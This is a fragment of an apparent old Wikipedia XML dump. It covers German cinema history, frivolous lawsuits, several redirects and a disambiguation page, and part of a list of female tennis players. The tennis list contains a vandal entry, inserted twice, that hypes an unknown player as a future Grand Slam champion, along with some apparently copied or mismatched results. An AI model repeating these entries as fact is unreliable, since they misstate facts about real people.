      <text xml:space="preserve">#REDIRECT [[Cinema of the Soviet Union]]</text>
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  <page>
    <title>Cinema of Germany</title>
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      <comment>/* See also */</comment>
      <text xml:space="preserve">{{EuropeanCinema}}
When the [[film]] industry first flowered in the period from [[1900]] to [[1915]], it took hold in [[Europe]] as well as [[United States|America]].  But [[World War I]] shattered the economies of the [[Continental Europe|European continent]] and stunted the growth of the industry there, allowing [[Hollywood]] to gain a dominance in the [[film industry]] that has never been overtaken.

The story of [[Germany|German]] [[film|cinema]] in particular began in the period following World War I, as [[Germany]] slowly recovered from the horrors of [[war]]. Movies were a popular escape into [[fantasy]] for many people, and the film industry boomed. The boom was helped by the low and sinking value of the Mark against other Western currencies. This enabled film makers to borrow and repay the money in the same amount of Marks which by then had been devalued. Nevertheless German filmmakers could not afford to create high-budget films. The need for low budgets, combined with a desire to move forward and embrace the [[future]] that swept most of Europe at the time, led to the rise of [[German Expressionism]]: movies that relied heavily on [[symbolism]] and artistic [[imagery]] rather than stark [[realism (arts)|realism]] to tell their stories.  The film usually credited with sparking the popularity of [[expressionism]] is ''[[The Cabinet of Dr. Caligari]]'' ([[1919 in film|1919]]), which is still studied by [[film theory|film scholar]]s today. It painted a picture on the cinema screen with wild, non-realistic sets built with overexagerrated [[geometry]], images painted on the floors and walls to represent objects (and often [[light]] and [[shadow]]), and a story involving the dark [[hallucination]]s of an [[insane]] man.  The [[Expressionism (film)|Expressionist movement]] died down during the mid-[[1920s in film|1920s]], but it continued to influence cinema for years after. Please see the main article on [[German Expressionism]] for a more in-depth explanation of the movement and style.

The film conglomerate ''[[Universum Film AG|Universum Film A.G.]]'' (better known as Ufa) was founded on behalf of the German government before the end of World War I to produce pro-war films, though after the war ended it grew to prominence with the success of German cinema in the 1920s.  It produced a number of lavish, [[surrealism|surreal]] spectacles, the most famous of which is [[Fritz Lang]]'s ''[[Metropolis (1927 movie)|Metropolis]]''.  Other noted Ufa films include ''Madame Dubary'' (1919), Lang's epic production of ''[[Die Nibelungen]]'', and [[F.W. Murnau|F.W. Murnau's]] ''[[The Last Laugh]]'' ([[1925 in film|1925]]).  Ufa overextended its budgets in the mid-1920s and had to declare [[bankruptcy]]; they signed an agreement with [[Paramount Pictures]] that relegated the studio to a lesser role.

The rise of the [[Nazi]] party in the [[1930s in film|1930s]] sparked an abrupt change in German cinema.  Several prominent German directors [[emigration|emigrated]] (or fled) to [[United States|America]], bringing their substantial talents to bear in [[Hollywood]] and having a major influence in American film as a result.  The [[Universal Studios]] [[horror film]]s of the 1930s were directed by German emigree [[filmmaker]]s, including  [[Karl Freund]], while Hungarian-born [[Film director|director]] [[Michael Curtiz]] came from Germany to become a top [[Warner Bros.]] director.  Fritz Lang's exodus to America is legendary; it is said that ''Metropolis'' so greatly impressed [[Joseph Goebbels]] that he asked Lang to become the head of his [[propaganda]] film unit.  Lang chose to flee to America instead, where he had a long and prosperous [[career]]. Directors [[Edgar Ulmer]] and [[Douglas Sirk]] also emigrated from Nazi Germany to Hollywood success. 

The flight of many talented German filmmakers, combined with a new era of [[censorship]] and control over the German film industry, has made German cinema of the Nazi era infamous for its contributions to the field of propaganda.  [[Leni Riefenstahl]], perhaps the most famous and talented of all propaganda filmmakers, enjoyed a prosperous career during this period.  She produced a number of motion pictures, though her two most famous are her documentaries ''[[Olympia (film)|Olympia]]'' ([[1936 in film|1936]]) and especially ''[[Triumph of the Will]]'' ([[1935 in film|1935]]).

The German film industry collapsed, along with that of most of Continental Europe, with the [[Battle of Berlin|defeat of Germany]] in [[1945 in film|1945]].  Germany was especially hard hit, and its film industry suffered a severe decline that lasted for over twenty-five years, as Europe was flooded with American films and European filmmaking talents were swiftly discovered and enticed into coming to America.  European films slowly recovered and evolved in different ways (''[[Italian neorealism]]'' was a product of the post-[[World War II]] era), though Germany's film industry foundered.  The advent of [[television]] further sapped at Germany's film talent, and the period of the [[1960s in film|1960s]] saw it at its lowest level, producing little more than low-budget [[pornographic film]]s that were barely worth mentioning.  The East German film industry was all done through the government sponsored organization called [[DEFA]].  All DEFA films were subject to government approval, and because of this, many films, especially those released soon after the end of World War II, had anti-fascist messages.  During this period immediately following the war, films were being produced by those who were children during the Nazi regime, and witnessed it firsthand.

But German film did stage a recovery during the late 1960s into the [[1970s in film|1970s]], with the emergence of a new generation of directors.  Working with low budgets, and influenced by the maverick Hollywood directors of the [[Vietnam War]] era, such directors as [[Rainer Werner Fassbinder]], [[Werner Herzog]], [[Volker Schlöndorff]] and [[Wim Wenders]] made names for themselves and produced a number of &quot;small&quot; motion pictures that caught the attention of the [[Art film|art house]] crowd, and enabled these directors (particularly Wenders and Schlöndorff) into better-financed productions which were backed by the [[Film studio|big US studios]]. Their success sparked a renaissance in German films which may not have returned the country to the glory days of the ''UFA'', but did bring the film industry back to Germany and encouraged other German filmmakers to make quality movies.  In [[1981 in film|1981]] [[Wolfgang Petersen]] made a spectacular entry with his blockbuster hit ''[[Das Boot]]'', which still holds the record for most [[Academy Award]] nominations for a German film (six).

Today's biggest producers include [[Constantin Film]], [[Bavaria]], [[Studio Hamburg]], and [[UFA Film und Fernsehproduktion]]. Recent film releases such as ''[[Run Lola Run]]'' by [[Tom Tykwer]], ''[[Goodbye Lenin]]'' by [[Wolfgang Becker]], and ''[[Der Untergang|Downfall]]'' by [[Oliver Hirschbiegel]] have arguably managed to recapture the provocative and innovative nature of 1970s New German cinema.

The new decade has also seen a resurgence of the German film industry, with big-budget films and good returns at the German box office.

==Literature and links==
*Kracauer, Siegfried. 2004 RE. ''From Caligari to Hitler''. Princeton: University of Princeton Press. ISBN 0-691-11519-2
*[http://www.germany-info.org/relaunch/culture/arts/performing_arts/film.html German Film History]
*[http://www.vistawide.com/german/german_film.htm German films] New releases, contemporary German cinema, East German film, early silent films, German actors &amp; directors, &amp; movie soundtracks.

==Important directors in German Film History:==

*[[German Expressionism|Expressionists]]:
**[[Fritz Lang]]
**[[F. W. Murnau|Friedrich Wilhelm Murnau]]
**[[Paul Wegener]]
**[[Robert Wiene]]

*[[Nazi Germany|Nazi]] era ([[1930s in film|1933]]-[[1940s in film|1945]]):
**[[Arnold Fanck]]
**[[Veit Harlan]]
**[[Georg Wilhelm Pabst]]
**[[Leni Riefenstahl]]

*[[Heimat]] era ([[1940s in film|1945]]-c.[[1960s in film|1964]]):
**[[Konrad Wolf]]

*New Wave (mainly [[1960s in film|1960s]] to [[1980s in film|1980s]]):
**[[Rainer Werner Fassbinder]]
**[[Werner Herzog]]
**[[Wim Wenders]]
**[[Volker Schlöndorff]]
**[[Hans-Jürgen Syberberg]]

*[[Postmodernism|Postmodernists]] (1980s-present):
**[[Bernd Eichinger]]
**[[Roland Emmerich]]
**[[Oliver Hirschbiegel]]
**[[Caroline Link]]
**[[Wolfgang Petersen]]
**[[Tom Tykwer]]
**[[Robert Schwentke]]

==See also==

*[[List of German actors (from 1895 to the present)]]
*[[1920s Berlin]]
*[[German Expressionism]]
*[[History of cinema]]
*[[National socialist film policy]]
*[[Edgar Wallace movies]]

[[Category:Cinema of Germany| ]]

&lt;!-- The below are interlanguage links. --&gt;
[[de:Deutsche Filmgeschichte]]
[[fr:Cinéma allemand]]
[[no:Tysk ekspresjonisme]]
[[bg:Германско кино]]</text>
    </revision>
  </page>
  <page>
    <title>Film History/Italy</title>
    <id>10613</id>
    <revision>
      <id>15908413</id>
      <timestamp>2004-01-28T00:27:04Z</timestamp>
      <contributor>
        <username>Michael Snow</username>
        <id>34289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cinema of Italy]]</text>
    </revision>
  </page>
  <page>
    <title>Film History/Poland</title>
    <id>10614</id>
    <revision>
      <id>15908414</id>
      <timestamp>2005-01-14T10:07:40Z</timestamp>
      <contributor>
        <username>Jihg</username>
        <id>13277</id>
      </contributor>
      <comment>Redirect to [[Cinema of Poland]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cinema of Poland]]</text>
    </revision>
  </page>
  <page>
    <title>Film History/Canada</title>
    <id>10615</id>
    <revision>
      <id>15908415</id>
      <timestamp>2005-03-18T13:38:49Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>Dbl redir</comment>
      <text xml:space="preserve">#REDIRECT [[Cinema of Canada]]</text>
    </revision>
  </page>
  <page>
    <title>Frivolous lawsuit</title>
    <id>10616</id>
    <revision>
      <id>41913949</id>
      <timestamp>2006-03-02T16:06:53Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>Dab. sanctions</comment>
      <text xml:space="preserve">In courts, a [[lawsuit]] or legal argument is termed '''frivolous''' if it is filed in spite of the fact that both the [[plaintiff]] and his [[lawyer]] knew that it had no merit and it did not argue for a reasonable extension or reinterpretation of the [[law]] or no underlying justification in fact based upon the lawyer's [[due diligence]] investigation of the case before filing (''e.g.'', the well known U.S. [[Federal Rules of Civil Procedure|Federal Rule]] 11). Jurisdictions differ on whether a claim can be frivolous if the attorney acted in [[good faith]].  Because a frivolous filing wastes the court's and the other parties' time, resources and legal fees, it may result in [[sanctions (law)|sanctions]] being levied by the court upon the party or the lawyer who brings the action.

Lawyer Daniel B. Evans writes: &lt;blockquote&gt;[W]hen a judge calls an argument &quot;ridiculous&quot; or &quot;frivolous,&quot; it is absolutely the worst thing the judge could say. It means that the person arguing the case has absolutely no idea of what he is doing, and has completely wasted everyone's time. It doesn't mean that the case wasn't well argued, or that judge simply decided for the other side, it means that there &lt;i&gt;was no other side&lt;/i&gt;. The argument was &lt;b&gt;&lt;i&gt;absolutely, positively, incompetent.&lt;/b&gt;&lt;/i&gt; The judge is not telling you that you that you were &quot;wrong.&quot; The judge is telling you that you are out of your mind. [http://evans-legal.com/dan/tpfaq.html#purpose]&lt;/blockquote&gt;

Litigants who represent themselves (''[[in forma pauperis]]'' and ''[[pro se]]'') often make frivolous arguments due to their limited knowledge of the law and procedure. The particular tendency of [[prison|prisoner]]s to bring baseless lawsuits led [[Congress of the United States|Congress]] to pass and [[Bill Clinton]] to sign the [[Prison Litigation Reform Act]], which strictly limits the ability of prisoners to bring actions.

The more common use of the term &quot;frivolous&quot; in political discourse refers to lawsuits that are based on a theory that seems absurd, where there is no link between the conduct of the defendant and the injuries sustained by the plaintiff, or where the claim results in damages that greatly exceed what one would expect from a brief summary of the case. Awards for [[medical malpractice]] are frequently derided as frivolous. However, if a jury and a judge decided in favor of the plaintiff in such cases, the plaintiff's claim was technically not frivolous, though it might be considered frivolous colloquially.  Because of the ambiguity in the term, calling these lawsuits &quot;frivolous&quot; can lead to confusion because opposite sides of the [[tort reform]] debate can both say they oppose &quot;frivolous&quot; suits, with the tort reform supporters referring to the colloquial understanding, and tort reform opponents referring to the narrower technical definition.[http://www.pointoflaw.com/feature/archives/000538.php]  

== See also ==
*[[Barratry]]
*[[Vexatious litigation]]
*[[Abuse of process]]
*[[Malicious prosecution]]

[[Category:Legal terms]]
[[Category:Tort law]]</text>
    </revision>
  </page>
  <page>
    <title>Free will and determinism</title>
    <id>10617</id>
    <revision>
      <id>15908417</id>
      <timestamp>2003-08-28T00:14:27Z</timestamp>
      <contributor>
        <username>Fairandbalanced</username>
        <id>19510</id>
      </contributor>
      <comment>Moved unwiki text to talk and redirect ed to &quot;free will&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[free will]]</text>
    </revision>
  </page>
  <page>
    <title>Fiddle</title>
    <id>10618</id>
    <revision>
      <id>41102934</id>
      <timestamp>2006-02-25T01:39:13Z</timestamp>
      <contributor>
        <username>DakotaKahn</username>
        <id>372629</id>
      </contributor>
      <comment>rvv by Seabass001 possible dangerous link to last good edit</comment>
      <text xml:space="preserve">'''Fiddle''' may be:
* [[Violin]]: a colloquial name for the violin
* [[Musical styles (violin)]]: the name used for a violin played as a folk instrument

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>French revolution</title>
    <id>10619</id>
    <revision>
      <id>31613312</id>
      <timestamp>2005-12-16T14:53:29Z</timestamp>
      <contributor>
        <username>Woohookitty</username>
        <id>159678</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Karanjit|Karanjit]] ([[User talk:Karanjit|talk]]) to last version by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[French Revolution]]</text>
    </revision>
  </page>
  <page>
    <title>List of female tennis players</title>
    <id>10620</id>
    <revision>
      <id>41686653</id>
      <timestamp>2006-03-01T01:37:09Z</timestamp>
      <contributor>
        <ip>68.78.65.253</ip>
      </contributor>
      <comment>/* M */</comment>
      <text xml:space="preserve">List of female [[tennis]] players:

''Note'': Players who have won more than one grand slam event in singles or have been ranked World No.1 in singles have been put in '''bold font''' so as to stand out.
__NOTOC__
[[#A|A]] - [[#B|B]] - [[#C|C]] - [[#D-E|D-E]] - [[#F-G|F-G]] - [[#H-J|H-J]] - [[#K-L|K-L]] - [[#M|M]] - [[#N|N]] - [[#P|P]] - [[#R|R]] - [[#S|S]] - [[#T-Z|T-Z]]

==A==
* [[Roberta Alison]] (USA) - 1963 paved the way for women's varsity sports
* [[Maret Ani]] (Estonia)
* [[Sabine Appelmans]] (Belgium) - 1997 Australian Open quarter-finalist
* [[Shinobu Asagoe]] (Japan) - 2004 U.S. Open quarter-finalist

* '''[[Tracy Austin]]''' (USA) - 1979 and 1981 '''U.S. Open champion'''; 1981 and 1982 Wimbledon quarter-finalist; 1982 and 1983 French Open quarter-finalist; 1981 Australian Open quarter-finalist; ranked '''World No. 1''' for 22 weeks

==B==
* [[Meike Babel]] (Germany)
* [[Elena Baltacha]] (Scotland)
* [[Catherine Barclay]] (Australia)
* [[Sue Barker]] (England) - 1976 '''French Open champion'''; 1975, 1977(Dec) Australian Open semi-finalist, 1978 quarter-finalist; 1977 Wimbledon quarter-finalist, 1976 quarter-finalist
* [[Anca Barna]] (Germany)
* [[Peaches Bartlowicz]] (USA)
* [[Marion Bartoli]] (France)
* [[Carling Bassett-Seguso]] (Canada) - 1984 U.S. Open semi-finalist; 1983 Australian Open quarter-finalist; 1984 and 1986 French Open quarter-finalist; 1977 Wimbledon semi-finalist, 1976 quarter-finalist
* [[Chantal Beetham]] (Canada)
* [[Petra Begerow]] (Germany)
* [[Severine Beltrame]] (France)
* [[Iveta Benešová]] (Czech Republic)
* [[Yulia Beygelzimer]] (Ukraine)
* [[Eva Birnerová]] (Czech Republic)
* [[Cara Black]] (Zimbabwe)
* [[Alyona Bondarenko]] (Ukraine)
* [[Lisa Bonder-Kreiss]] (USA)
* [[Elena Bovina]] (Russia) - 2002 U.S. Open quarter-finalist
* [[Kristina Brandi]] (Puerto Rico)
* '''[[Louise Brough]]''' (USA)

* '''[[Maria Bueno]]''' (Brazil) - 1965 Australian Championships finalist, 1964 French Championships finalist, 1958, 1960, 1965 and 1966 semi-finalist; 1959-60 and 1964 '''Wimbledon Championships champion''', 1965-66 finalist; 1959, 1963, 1964 and 1966 '''U.S. Championships champion''', 1960 finalist, 1962, 1965 and 1968 semi-finalist.

* [[Bettina Bunge]] (Germany)

==C==
* [[Els Callens]] (Belgium)
* [[Maria Elena Camerin]] (Italy)

* '''[[Jennifer Capriati]]''' (USA) - 2001 and 2002 '''Australian Open champion'''; 2001 '''French Open champion'''; ranked '''World No. 1''' for 17 weeks

* [[Mary Carillo]]  (USA)
* [[Rosie Casals]] (USA) - 1969 Australian Open quarter-finalist; 1969-70 French Open quarter-finalist; 1969-70 and 1972 Wimbledon semi-finalist, 1973, 1976 and 1977 quarter-finalist; 1970-71 U.S. Open finalist, 1969 semi-finalist, 1972-73-74 and 1976 quarter-finalist
* [[Myriam Casanova]] (Switzerland)
* [[Catalina Castano]] (Columbia)
* [[Ludmila Cervanova]] (Slovakia)
* [[Anna Chakvetadze]] (Russia)
* '''[[Dorothea Douglass Chambers|Dorothea Chambers]]'''  (USA)
* [[Denisa Chládková]] (Czech Republic)

* '''[[Kim Clijsters]]''' (Belgium) - 2005 '''U.S. Open champion'''; 2004 Australian Open finalist, 2003 and 2006 semi-finalist; 2001 and 2003 French Open finalist; 2003 Wimbledon semi-finalist; 2002 and 2003 '''WTA Tour Championships champion'''; 2001 '''Fed Cup champion'''; ranked '''World No. 1''' for 13 weeks (current #1)

* [[Amanda Coetzer]] (South Africa) - 1996 and 1997 Australian Open semi-finalist; 1997 French Open semi-finalist; 1994, 1996 and 1998 U.S. Open quarter-finalist
* [[Stephanie Cohen-Aloro]] (France)

* '''[[Maureen Connolly]]''' (USA)

* '''[[Charlotte Cooper (tennis player)|Charlotte Cooper]]''' (England)

* '''[[Margaret Smith Court]]''' (Australia) - 1960-61-62-63-64-65-66, 69-70-71 and 1973 '''Australian Open champion''', 1968 finalist; 1962, 1964, 1969, 1970 and 1973 '''French Open champion''', 1965 finalist; 1963, 65, 70 '''Wimbledon champion''', 1964 and 1971 finalist; 1962, 1965, 1968-69-70, 73 '''U.S. Open champion'''

* [[Jill Craybas]] (USA)
* [[Isabel Cueto]] (Germany)
* [[Melinda Czink]] (Hungary)

==D-E==
* [[Eleni Daniilidou]] (Greece) 
* [[Kimiko Date]] (Japan) - 1994 Australian Open semi-finalist; 1995 French Open semi-finalist; 1996 Wimbledon semi-finalist; 1993 and 1994 U.S. Open quarter-finalist

* '''[[Lindsay Davenport]]''' (USA) - 1998 '''U.S. Open champion'''; 1999 '''Wimbledon champion'''; 2000 '''Australian Open champion'''; ranked '''World No. 1''' for 84 weeks

* [[Nathalie Dechy]] (France) - 2005 Australian Open semi-finalist
* [[Elena Dementieva]] (Russia) - 2004 French Open finalist; 2004 U.S. Open finalist; 2004 and 2005 '''Fed Cup champion'''
* [[Caroline Dhenin]] (France)
* [[Mariana Diaz-Oliva]] (Argentina) - 
* '''[[Lottie Dod]]''' (England)
* [[Jelena Dokic]] (Australia) - 2000 Wimbledon semi-finalist; 2002 French Open quarter-finalist
* [[Marta Domachowska]] (Poland)
* [[Vera Douchevina]] (Russia)
* '''[[Dorothea Douglass]]''' (England)
* [[Stéphanie Dubois]] (Canada)
* [[Gisela Dulko]] (Argentina)
* [[Francoise Durr]] (France) - 1967 '''French Open champion'''
* [[Jo Durie]] (Britain) - 1983 French Open semi-finalist; 1983 U.S. Open semi-finalist; 1983 Australian Open quarter-finalist; 1984 Wimbledon quarter-finalist
* [[Silvia Farina Elia]] (Italy) - 2003 Wimbledon quarter-finalist

* '''[[Chris Evert]]''' (USA) - 1974-75, 1979, 1980, 1983, 1985 and 1986 '''French Open champion''', 1973 and 1984 finalist; 1974, 1976 and 1981 '''Wimbledon champion''', 1973, 1978-79, 1980, 1982, 1984 and 1985 finalist; 1975-76-77-78, 1980 and 1982 '''U.S. Open champion''', 1979, 1983 and 1984 finalist; 1982 and 1984 '''Australian Open champion''', 1974, 1981, 1985 and 1988 finalist; 1977-82, 1986-87 and 1989 '''Fed Cup champion'''; ranked '''World No. 1''' for 262 weeks

==F-G==
* [[Silvia Farina Elia]] (Italy)
* [[Yuliana Fedak]] (Ukraine)
* [[Gigi Fernandez]] (Puerto Rico) - 1994 Wimbledon semi-finalist; 1994 U.S. Open quarter-finalist
* [[Mary Joe Fernandez]] (USA) - 1990 and 1992 Australian Open finalist; 1993 French Open finalist; 1991 Wimbledon semi-finalist; 1990 and 1992 U.S. Open semi-finalist
* [[Stephanie Foretz]] (France)
* [[Amy Frazier]] (USA) - 1992 Australian Open quarter-finalist; 1995 Australian Open quarter-finalist
* [[Emmanuelle Gagliardi]] (Switzerland)
* [[Jarmila Gajdošová]] (Slovakia)
* [[Tathiana Garbin]] (Italy)
* [[Zina Garrison]] (USA) - 1990 Wimbledon finalist; 1983 Australian Open semi-finalist; 1988 and 1989 U.S. Open semi-finalist

* '''[[Althea Gibson]]''' (USA) - 1956 '''French Championships champion'''; 1957 and 1958 '''Wimbledon Championships champion'''; 1957 and 1958 '''United States Championships champion''', 1956 finalist; 1957 Australian Championships finalist

* [[Laura Arraya Gildemeister]] (Peru)
* [[Sabrina Goles]] (Croatia)
* [[Tatiana Golovin]] (France)

* '''[[Evonne Goolagong]]''' (Australia) - 1971 '''French Open champion''', 1972 finalist; 1971 and 1980 '''Wimbledon champion''', 1972, 1975 and 1976 finalist; 1973, 1974, 1975 and 1976 U.S. Open finalist

* [[Rita Grande]] (Italy)
* [[Laura Granville]] (USA)

* '''[[Steffi Graf]]''' (Germany) - 1988, 1989, 1990 and 1994 '''Australian Open champion'''; 1987, 1988, 1993, 1995, 1996 and 1999 '''French Open champion'''; 1988, 1989, 1991, 1992, 1993, 1995 and 1996 '''Wimbledon champion'''; 1988, 1989, 1993, 1995 and 1996  '''U.S. Open champion'''; ranked '''World No. 1''' for 377 weeks

* [[Anna-Lena Groenefeld]] (Germany)

==H-J==
* [[Julie Halard-Decugis]] (France) - 1993 and 2000 Australian Open quarter-finalist; 1994 French Open quarter-finalist
* [[Sylvia Hanika]] (Germany) - 1981 French Open finalist; 1983 Australian Open quarter-finalist; 1981, 1983 and 1984 U.S. Open quarter-finalist
* [[Daniela Hantuchová]] (Slovakia) - 2003 Australian Open quarter-finalist; 2002 Wimbledon quarter-finalist; 2002 U.S. Open quarter-finalist
* [[Ashley Harkleroad]] (USA)
* [[Julie Heldman]] (USA)

* '''[[Justine Henin-Hardenne]]''' (Belgium) - 2003 and 2005 '''French Open champion'''; 2004 '''Australian Open champion''', 2006 finalist; 2003 '''U.S. Open champion'''; 2001 Wimbledon finalist; ranked '''World No. 1''' for 45 weeks

* '''[[Blanche Bingley Hillyard|Blanche Hillyard]]''' (England) - 1886, 1890, 1894, 1897, 1899 and  1900 '''Wimbledon champion'''

* '''[[Martina Hingis]]''' (Switzerland) - 1997, 1998 and 1999 '''Australian Open champion''', 2000, 2001, 2002 finalist; 1997 '''Wimbledon champion'''; 1997 '''U.S. Open champion''', 1998 and 1999 finalist; 1997 and 1999 French Open finalist; ranked '''World No. 1''' for 209 weeks

* [[Rika Hiraki]] (Japan)
* [[Dianne Hollands]] (New Zealand)
* [[Kathy Horvath]] (USA)
* [[Anke Huber]] (Germany) - 1996 Australian Open finalist; 1993 French Open semi-finalist; 1999 and 2000 U.S. Open quarter-finalist
* [[Liezel Huber]] (South Africa)
* [[Janette Husárová]] (Slovakia)
* [[Etsuko Inoue]] (Japan)
* [[Marissa Irvin]] (USA)
* [[Ana Ivanovic]] (Serbia) - 2005 French Open quarter-finalist
* [[Andrea Jaeger]] (USA) - 1981 French Open finalist; 1982 Wimbledon finalist; 1982 Australian Open semi-finalist; 1982 U.S. Open semi-finalist
* [[Jelena Jankovic]] (Serbia)
* [[Mima Jausovec|Mima Jausovec]] (Slovenia) - '''French Open champion'''; 1981 Wimbledon quarter-finalist 
* [[Alina Jidkova]] (Russia)
* '''[[Ann Haydon-Jones]]''' (Britain) - 1961 and 1966 '''French Open champion'''; 1969 '''Wimbledon champion'''
* [[Mervana Jugic-Salkic]] (Bosnia)

==K-L==
* [[Aniko Kapros]] (Hungary)
* [[Sesil Karatantcheva]] (Bulgaria) - 2005 French Open quarter-finalist
* [[Lilian Kelaidis-Drescher]] (Switzerland)
* '''[[Billie Jean King]]''' (USA)
* [[Claudia Kohde-Kilsch]] (Germany)
* [[Maria Kirilenko]] (Russia)
* [[Sandra Kleinová]] (Czech Republic)
* [[Jelena Kostanic]] (Croatia)
* [[Klára Koukalová]] (Czech Republic)
* [[Anna Kournikova]] (Russia) - 1997 Wimbledon semi-finalist; 2001 Australian Open quarter-finalist
* [[Michaella Krajicek]] (Netherlands)
* [[Lina Krasnoroutskaya]] (Russia)
* [[Anne Kremer]] (Luxembourg)
* [[Ľubomíra Kurhajcová]] (Slovakia)
* [[Svetlana Kuznetsova]] (Russia) - 2004 '''U.S. Open champion'''; 2005 Australian Open quarter-finalist; 2003 and 2005 Wimbledon quarter-finalist
* [[ Jenna Langhorst]] (USA) up and comer who will rock the tennis world. AMAZING
* [[Janet Lee]] (Taiwan)
* [[Lindsay Lee-Waters]] (USA)
* '''[[Suzanne Lenglen]]''' (France)
* [[Li Na]] (China)
* [[Li Ting (tennis player)|Li Ting]] (China)
* [[Elena Likhovtseva]] (Russia) - 2005 French Open semi-finalist; 2000 Australian Open quarter-finalist; 2002 Wimbledon quarter-finalist
* [[Catarina Lindqvist]] (Sweden) - 1989 Wimbledon semi-finalist; 1985 and 1989 Australian Open quarter-finalist
* [[Evgenia Linetskaya]] (Russia)
* [[Anita Lizana]] (Chile) - 1937 '''U.S. Championships champion'''
* [[Nuria Llagostera Vives]] (Spain)
* [[Emilie Loit]] (France)

==M==
* [[Gretchen Magers]] (USA) - 1982 U.S. Open quarter-finalist; 1983 French Open quarter-finalist; 1989 Wimbledon quarter-finalist
* [[Iva Majoli]] (Croatia) - 1997 '''French Open champion'''; 1996 Australian Open quarter-finalist; 1997 Wimbledon quarter-finalist
* [[Katerina Maleeva]] (Bulgaria) - 1990 and 1991 Australian Open quarter-finalist; 1990 French Open quarter-finalist; 1990 and 1992 Wimbledon quarter-finalist; 1988 and 1993 U.S. Open quarter-finalist
* [[Magdalena Maleeva]] (Bulgaria) - 1992 U.S. Open quarter-finalist
* [[Manuela Maleeva]] (Bulgaria) - 1992 and 1993 U.S. Open semi-finalist
* [[Sanda Mamic]] (Croatia)
* '''[[Hana Mandlíková]]''' (Czechoslovakia/Australia)
* [[Petra Mandula]] (Hungary) - 2001 French Open quarter-finalist
* [[Mélanie Marois]] (Canada)
* [[Marta Marrero]] (Spain) - 2000 French Open quarter-finalist
* [[Conchita Martinez]] (Spain) - 1994 '''Wimbledon champion'''; 1998 Australian Open finalist; 1995 and 1996 U.S. Open semi-finalist; 2000 French Open finalist;
* [[Helga Masthoff]] (Germany)

* '''[[Amélie Mauresmo]]''' (France) - 2006 '''Australian Open champion''', 1999 finalist; 2003 and 2004 French Open quarter-finalist; 2002, 2004 and 2005 Wimbledon semi-finalist; 2002 U.S. Open semi-finalist; 2005 '''WTA Tour Championships champion''', 2003 finalist; ranked '''World No. 1''' for 5 weeks

* [[Kelly McCain]] (USA)
* [[Lisa Mcshea]] (Australia)
* [[Anabel Medina Garrigues]] (Spain)
* [[Silke Meier]] (Germany)
* [[Kerry Melville]] (Australia) 
* [[Sania Mirza]] ([[India]])
* [[Nana Miyagi]] (Japan)
* [[Alicia Molik]] (Australia) - 2005 Australian Open quarter-finalist
* [[Dominique Monami]] (Belgium) - 1997 and 1999 Australian Open quarter-finalist
* '''[[Helen Wills Moody]]''' (USA)
* [[Corina Morariu]] (USA)
* [[Akiko Morigami]] (Japan)
* [[Olga Morozova]] (Russia) - 1974 French Open finalist; 1974 Wimbledon finalist
* [[Angela Mortimer]] (Britain)
* [[Anastasia Myskina]] (Russia) - 2004 '''French Open champion'''; 2003 and 2004 Australian Open quarter-finalist; 2005 Wimbledon quarter-finalist; 2003 U.S. Open quarter-finalist

* [[ Jenna Langhorst]] (USA) On a path to winning multiple Grand Slam titles

==N-O==
* [[Betsy Nagelsen]] (USA)
* [[Henrieta Nagyová]] (Slovakia)
* [[Aiko Nakamura]] (Japan)

* '''[[Martina Navrátilová]]''' (Czechoslovakia/USA) - winner of 18 singles major tournaments; ranked '''World No. 1''' for 331 weeks

* [[Jana Novotná]] (Czechoslovakia [Czech]) - 1998 '''Wimbledon champion'''; 1991 Australian Open finalist; 1990 and 1996 French Open semi-finalist; 1994 U.S. Open semi-finalist
* [[Saori Obata]] (Japan)
* [[Tzipora Obziler]] (Israel)
* [[Zuzana Ondrášková]] (Czech Republic)
* [[Miriam Oremans]] (Netherlands)
* [[Lilia Osterloh]] (USA)

==P==
* [[Tatiana Panova]] (Russia)
* [[Arantxa Parra Santonja]] (Spain)
* [[Michaela Paštiková]] (Czech Republic)
* [[Barbara Paulus]] (Austria)
* [[Shahar Peer]] (Israel)
* [[Marie-Eve Pelletier]] (Canada)
* [[Shuai Peng]] (China)
* [[Flavia Pennetta]] (Italy)
* [[Tatiana Perebiynis]] (Ukraine)
* [[Shenay Perry]] (USA)
* [[Kveta Peschke]] (Czech Republic)
* [[Nadia Petrova]] (Russia) - 2003 and 2005 French Open semi-finalist; 2004 and 2005 U.S. Open quarter-finalist; 2005 Wimbledon quarter-finalist
* [[Eva Pfaff]] (Germany) - 1982 Australian Open quarter-finalist

* '''[[Mary Pierce]]''' (France) - 1995 '''Australian Open champion'''; 2000 '''French Open champion''', 2005 finalist; 2005 U.S. Open finalist; 1996 and 2005 Wimbledon quarter-finalist; 1997 and 2005 WTA Tour Championships finalist

* [[Camille Pin]] (France)
* [[Tina Pisnik]] (Slovenia)
* [[Claudia Porwick]] (Germany)
* [[Barbara Potter]] (USA) - 1981 Wimbledon semi-finalist; 1982, 1983 and 1985 Wimbledon quarter-finalist; 1984 Australian Open quarter-finalist
* [[Nicole Pratt]] (Australia)

==R==
* [[Dally Randriantefy]] (Madagascar)
* [[Lisa Raymond]] (USA) - 2000 Wimbledon quarter-finalist; 2004 Australian Open quarter-finalist
* [[Virginie Razzano]] (France)
* '''[[Nancy Richey|Nancy Richey-Gunter]]''' (USA) - 1967 '''Australian Championships champion'''; 1968 '''French Open champion'''
* [[Kathy Rinaldi]] (USA) - 1985 Wimbledon semi-finalist; 1981 and 1986 French Open quarter-finalist
* [[Capucine Rousseau]] (France)
* [[Virginia Ruano Pascual]] (Spain) - 1995 French Open quarter-finalist; 2003 Australian Open quarter-finalist
* [[Chanda Rubin]] (USA) - 1996 Australian Open semi-finalist; 1995, 2000 and 2003 French Open quarter-finalist
* [[Virginia Ruzici]] (Romania) - 1978 '''French Open champion'''; 1981 Wimbledon quarter-finalist

==S==
